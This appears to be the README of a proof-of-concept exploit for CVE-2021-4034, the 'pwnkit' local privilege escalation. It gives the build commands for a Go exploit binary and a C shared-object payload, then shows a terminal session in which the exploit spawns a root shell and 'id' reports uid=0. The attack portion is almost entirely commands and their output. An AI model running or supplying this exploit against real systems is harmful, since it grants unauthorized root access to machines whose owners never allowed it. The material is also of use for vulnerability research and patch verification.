PoC for CVE-2021-4034 dubbed pwnkit
go build -o exploit exploit.go
Once compiled put the shared object in the same folder as the exploit binary
gcc payload/payload.c -o payload.so -shared -fPIC
dzonerzy@DESKTOP-5JHC90H:/mnt/c/Users/DZONERZY/GolangProjects/pkpwn$ ./exploit
Spawning root shell!
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1000(dzonerzy)